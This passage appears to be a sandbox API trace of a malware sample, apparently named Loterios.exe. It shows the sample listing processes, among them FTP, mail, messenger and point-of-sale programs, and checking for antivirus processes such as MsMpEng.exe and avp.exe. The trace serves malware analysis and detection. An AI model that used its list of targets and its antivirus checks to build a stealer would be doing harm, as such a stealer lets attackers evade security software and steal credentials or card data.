lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="address.exe")) returned 1 [0237.382] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cet-algeria-municipal.exe")) returned 1 [0237.489] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyers-cohen-accomplish.exe")) returned 1 [0237.507] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="photo.exe")) returned 1 [0237.523] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="jury photographic recommend.exe")) returned 1 [0237.539] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="teeth.exe")) returned 1 [0237.569] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bible.exe")) returned 1 [0237.585] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0237.601] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cinema-count.exe")) returned 1 [0237.617] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tyler.exe")) returned 1 [0237.632] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="systems-limitation.exe")) returned 1 [0237.648] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="intellectual cleaner.exe")) returned 1 [0237.664] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="parker_sonic_metallic.exe")) returned 1 [0237.681] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="phrases_unique_mem.exe")) returned 1 [0237.702] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0237.726] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0237.760] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0237.790] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0237.818] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0237.837] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0237.884] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0237.931] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0237.977] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0237.994] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0238.009] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0238.025] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0238.040] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0238.056] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0238.071] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0238.087] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0238.102] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0238.118] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0238.134] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0238.149] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0238.165] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0238.181] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0238.217] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0238.244] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0238.259] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0238.275] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0238.290] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0238.307] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0238.337] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0238.353] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0238.376] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0238.499] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0238.573] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0238.588] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0238.619] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0238.634] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0238.650] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0238.697] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0238.712] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0238.727] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0238.743] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0238.759] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0238.777] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0238.806] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0238.822] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nv-ambien-sharp.exe")) returned 1 [0238.838] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lancaster.exe")) returned 1 [0238.853] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="eos-says.exe")) returned 1 [0238.868] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.884] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.900] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0238.915] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0238.931] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0238.978] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0238.993] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.012] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0239.040] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x13fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0239.056] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x13f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0239.071] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0239.087] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0239.102] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1328, pcPriClassBase=8, dwFlags=0x0, szExeFile="Loterios.exe")) returned 1 [0239.120] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="timeout.exe")) returned 1 [0239.167] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="Loterios.exe")) returned 1 [0239.181] Process32Next (in: hSnapshot=0x28c, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="Loterios.exe")) returned 0 [0239.182] CloseHandle (hObject=0x28c) returned 1 [0239.182] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0239.182] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f728 | out: hHeap=0x25a0000) returned 1 [0239.182] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f718 | out: hHeap=0x25a0000) returned 1 [0239.182] lstrlenA (lpString="avgcsrvx.exe") returned 12 [0239.182] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f770 | out: hHeap=0x25a0000) returned 1 [0239.182] lstrlenA (lpString="avgsvcx.exe") returned 11 [0239.182] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f788 | out: hHeap=0x25a0000) returned 1 [0239.182] lstrlenA (lpString="avgcsrva.exe") returned 12 [0239.182] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7a0 | out: hHeap=0x25a0000) returned 1 [0239.182] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f700 | out: hHeap=0x25a0000) returned 1 [0239.182] lstrlenA (lpString="MsMpEng.exe") returned 11 [0239.182] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7b8 | out: hHeap=0x25a0000) returned 1 [0239.182] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f758 | out: hHeap=0x25a0000) returned 1 [0239.182] lstrlenA (lpString="mcshield.exe") returned 12 [0239.183] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7e0 | out: hHeap=0x25a0000) returned 1 [0239.183] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7d0 | out: hHeap=0x25a0000) returned 1 [0239.183] lstrlenA (lpString="avp.exe") returned 7 [0239.183] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f818 | out: hHeap=0x25a0000) returned 1 [0239.183] lstrlenA (lpString="kavtray.exe") returned 11 [0239.183] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f828 | out: hHeap=0x25a0000) returned 1 [0239.183] HeapFree (in: hHeap=0x25a0000, 